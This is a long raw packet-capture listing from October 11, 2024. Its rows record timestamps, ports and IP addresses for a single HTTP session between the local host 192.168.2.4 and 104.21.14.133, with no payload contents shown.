Oct 11, 2024 04:10:42.877391100 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877408028 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877423048 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877424955 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877425909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877439022 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877454042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877458096 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877458096 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877470970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877480030 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877505064 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877505064 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877590895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877607107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877623081 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877639055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877640963 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877656937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877660036 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877681971 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877682924 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877706051 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877737045 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877762079 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877775908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877789021 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877796888 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877816916 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877816916 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877824068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877839088 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877840042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877867937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877882957 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877897024 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877898932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877914906 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877927065 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877927065 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877931118 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877952099 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877959013 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877969980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.877978086 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.877994061 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878015995 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878020048 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878037930 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878047943 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878047943 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878065109 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878067970 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878079891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878096104 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878101110 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878119946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878128052 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878128052 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878139019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878156900 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878173113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878182888 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878190994 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878201008 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878211021 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878232002 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878253937 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878262997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878278971 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878288031 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878321886 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878336906 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878340006 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878355980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878366947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878370047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878388882 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878393888 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878393888 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878417969 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878441095 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878463030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878489017 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878505945 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878511906 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878523111 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878535986 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878541946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878557920 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878576040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878577948 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878603935 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878623962 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878628969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878648043 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878663063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878680944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878695965 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878698111 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878715992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878717899 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878741980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878766060 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878766060 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878804922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878820896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878844023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878858089 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878860950 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878878117 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878881931 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878894091 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878907919 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878915071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878938913 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878946066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878964901 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878966093 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878981113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.878993988 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.878998995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879014015 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879015923 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879031897 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879044056 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879049063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879084110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879084110 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879102945 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879108906 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879131079 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879137039 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879156113 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879156113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879174948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879177094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879190922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879199028 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879208088 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879220009 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879230976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879237890 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879249096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879276037 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879276037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879276037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879292011 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879302979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879309893 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879327059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879329920 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879329920 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879348993 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879368067 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879400015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879414082 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879496098 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879496098 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879507065 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879524946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879540920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879565001 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879581928 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879600048 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879600048 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879616022 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879632950 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879648924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879652977 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879666090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879678011 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879678011 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879683018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.879698992 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879715919 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.879736900 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.963876009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.963900089 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.963917017 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.963931084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.963948011 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.963963985 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.963973999 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.963980913 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.963973999 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.963973999 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.963999033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964076996 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964076996 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964076996 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964369059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964421034 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964437962 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964452028 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964477062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964492083 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964493036 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964512110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964528084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964534044 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964555979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964572906 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964572906 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964590073 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964606047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964618921 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964626074 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964653015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964653969 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964653969 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964670897 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964675903 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964689016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964701891 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964715004 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964723110 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964731932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964745998 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964751005 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964766979 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964770079 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964782953 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964795113 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964813948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964818001 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964832067 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964847088 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964863062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964864969 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964876890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.964895010 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964895010 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964915037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964934111 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.964992046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965043068 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965091944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965106964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965131044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965147018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965147018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965147972 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965167046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965173960 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965236902 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965240955 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965240955 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965260029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965280056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965296030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965296984 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965296984 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965312004 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965318918 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965337992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965339899 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965354919 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965361118 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965372086 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965379000 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965399027 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965404987 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965415955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965428114 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965432882 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965447903 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965451956 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965466976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965466976 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965487003 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965488911 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965512037 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965526104 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965532064 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965547085 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965559006 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965575933 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965579987 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965579987 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965594053 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965601921 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965610981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965622902 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965626955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965642929 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965643883 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965661049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965671062 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965671062 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965677977 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965692043 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965699911 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965712070 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965717077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965733051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965738058 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965738058 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965760946 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965774059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965790033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965800047 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965806007 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965821028 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965832949 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965842009 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965850115 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965859890 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965878010 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965895891 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965930939 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965948105 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965964079 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965979099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.965985060 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965985060 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.965996981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966006994 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966022968 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966032982 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966033936 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966051102 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966063023 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966068029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966085911 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966093063 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966100931 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966116905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966141939 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966141939 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966142893 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966160059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966175079 CEST	80	49733	104.21.14.133	192.168.2.4
